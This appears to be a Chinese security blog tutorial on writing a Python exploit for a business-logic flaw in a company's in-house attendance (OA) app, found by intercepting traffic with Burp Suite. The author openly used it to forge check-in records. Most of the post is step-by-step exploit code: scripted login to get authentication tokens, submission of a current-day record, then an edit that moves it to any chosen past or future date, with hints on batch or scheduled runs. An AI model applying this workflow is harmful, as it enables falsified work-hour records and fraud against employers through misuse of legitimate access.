位置:首页 > 安全分类 > WEB安全

绕过业务逻辑的exp编写

2021-06-10 15:12:52 来源:
简介经常有一部分初入安全门槛的同学们会对编写exp和poc之类问题或无从下手,这次来分享一个简单实用的exp编写流程。具体的poc和exp的区别自行百度,主要讲方法。业务背景这个业务

经常有一部分初入安全门槛的同学们会对编写exp和poc之类问题或无从下手,这次来分享一个简单实用的exp编写流程。

具体的poc和exp的区别自行百度,主要讲方法。

业务背景

这个业务逻辑是当时初入安全行业,为了方便打卡,编写的一个绕过打卡限制的exp,当时公司自己开发的一套oa系统,打卡的规定是,只能打当天的和补打前一天的,所以在很多次忘记打卡,提交了很多补打申请后,我决定找一找其中的业务逻辑,顺便写个补打exp。

漏洞发现

首先我们需要对系统的报文和接口进行分析,使用burpsuite抓包分析。

该系统对公司内网和外网app开放的是不同的两套打卡接口,由于外网对网络要求比较低,所以我决定通过外网接口进行分析。

通过Wifi将手机和电脑连接于同一网络下,如果app采用https传输协议,可以通过手机打开 http://burp导入burpsuite的证书挂代理进行抓包。

首先我判断这个app只对前端进行了限制,尝试了直接更改打卡报文中的日期进行补打,但并没有成功。

那么第一个业务环节,增加数据环节是不可更改的。

接下来进行第二个业务环节,修改数据是不是可以实现呢,由于在应用层面,更改打卡信息同样只能在当天和前一天执行。

所以我抓取了当天的已打卡的数据,并重新提交,提交时将打卡日期更改为前几天的日期,提交成功!

至此,在寻找业务逻辑漏洞的这个阶段,基本完成。

在这个阶段,如果有明确的功能需求,只需要依次验证这个功能的增删改查是否有严格验证,就可以了。

准备环节

在编写exp时,个人比较倾向于使用python,没有什么原因,写着顺手,如果有自己擅长的语言,其实没什么限制,所以这次主要以python3作为例子。

一般使用的比较多的模块有,requests、sys、json、time、datetime、urllib3、re。

requests和urllib3主要的作用是建立http相关的连接和报文处理;sys一般会用在调用系统命令相关的环节;json会使用在需要传输数据或处理数据格式的环节;time和datetime会用在对时间认证的环节上;re会用在数据的筛选和过滤环节。

而编写的方式,主要有面向对象和面向过程两种。面向对象我习惯用于逻辑处理复杂的情况下,或需要批量处理,多线程处理。而面向过程的exp更倾向于过程简单,需要快速复现利用的环境。

编写exp

业务逻辑类漏洞,或自动化的exp最重要的一个环节是自动化登录获取令牌,所以首先要做的是获取相关的令牌,之后才有资格做接下来的操作。

首先,我们通过burpsuite挂代理,执行一次登录操作,查看history中的request和response的关联,再将修改打卡的报文流程加入其中,就是一个业务逻辑的exp利用流程。

通过关联可以得到以下流程:

1、第一个报文调用登录接口,获取令牌Authentication_Token和票据Authentication_TGT

# 接口     get_token_url = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/1'       # 报文头     get_token_hraders = {         ...}       # 传输数据用户名和密码     get_token_Date = {"appCode": "XXXXXXXXXXXXXX", "domain": "domain","password": self.passWord,"userName": self.userName}       # 获取响应     get_token_r = requests.post(get_token_url, json=get_token_Date, headers=get_token_hraders)       # 赋值准备被调用     get_token_response_dict = get_token_r.json()       # 获取TGT和token     self.Authentication_Token = get_token_response_dict['Authentication_Token']     self.Authentication_TGT = get_token_response_dict['Authentication_TGT']

2、第二个报文调用已经获取的令牌Authentication_Token和票据Authentication_TGT和已有的用户名密码得到self.staff_token,至此,登陆环节完成。

# 接口     login_url = '//XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/2'       login_headers = {         ...         'Authentication-Token': self.Authentication_Token,         'Authentication-TGT': self.Authentication_TGT,         ... }       login_Date = {..."password": self.passWord, "userName": self.userName}     login_r = requests.post(login_url, json=login_Date, headers=login_headers)     login_response_dict = login_r.json()       # 获取staff_token     self.staff_token = login_response_dict['data']['staff_token']

3、接下来需要做的是打卡当天的数据,提交员工号和时间数据,报文头中包含Token、TGT、staff_token,确认身份以及行为。

self.id = id               #员工号     self.start_id = start_id   #开始工作时间     self.end_id = end_id       #结束工作时间       change_url1 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/3='+str(self.id)+'&start='+str(self.start_id)+'&end='+str(self.end_id)     change_headers1 = {         ...         'Authentication-Token': self.Authentication_Token,         'mis-staff-token': self.staff_token,         'Authentication-TGT': self.Authentication_TGT,         ...     }

4、确认身份后,开始当天提交打卡数据,打卡成功后,就可以获取相对应的event_id

self.new_date = new_date                #打卡日期     self.new_discription = new_discription  #工作内容描述     self.new_hours = new_hours              #工作时长     change_url2 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/4'     change_headers2 = {         ...         'Authentication-Token': self.Authentication_Token,         'mis-staff-token': self.staff_token,         'Authentication-TGT': self.Authentication_TGT,         ...     }         # 提交打卡数据     change2_Date =[{ "date": self.new_date,"description": self.new_discription, "hours": self.new_hours, "staffId":self.id,}]     change2_r = requests.post(change_url2, json=change2_Date, headers=change_headers2)     change2_response_dict = change2_r.json()       # 这里要获取一个事件ID作为本次打卡的标志,在更改数据的时候调用本次事件     self.event_id = int(change2_response_dict['xxxx'][x]['id'])

5、修改打卡数据,调用已经完成的当天日期打卡数据的event_id,并修改日期即可绕过日期限制,对任意时间进行打卡,甚至是未来的工时。

self.new_date = new_date                    #需要更新的目标日期              self.new_discription = new_discription      #需要更新的目标日期描述        self.new_hours = new_hours                  #需要更新的目标日期工作时长       change_url4 = 'https://XXXXXX/XXXXXXX/XXXXXXX/XXXXXXXX/5'       change_headers4 = {         ...         'Authentication-Token': self.Authentication_Token,         'mis-staff-token': self.mis_staff_token,         'Authentication-TGT': self.Authentication_TGT,         ...     }       change4_Date =[{"date":self.new_date,"description":self.new_discription,"hours":self.new_hours,"id":int(self.event_id),"staffId":self.id,}]

写好整个流程的接口后,即可对相关书数据进行处理,比如在这次的exp中,就需要规范时间格式,所以又写了一个时间处理的方法。

date1 = date+' 08:00:00'     timeArray = datetime.datetime.strptime(date1, "%Y-%m-%d %H:%M:%S")     timeStamp = int(round(time.mktime(time.strptime(str(timeArray), "%Y-%m-%d %H:%M:%S")) * XXXXX))     return timeStamp

将以上每个流程都写成打卡类中的对应方法,方便之后对每个接口进行系统的调用。

最后,就是对整个流程的函数进行整合,可以写成批量打卡,也可以写成定时任务,都可以比较简单的完成。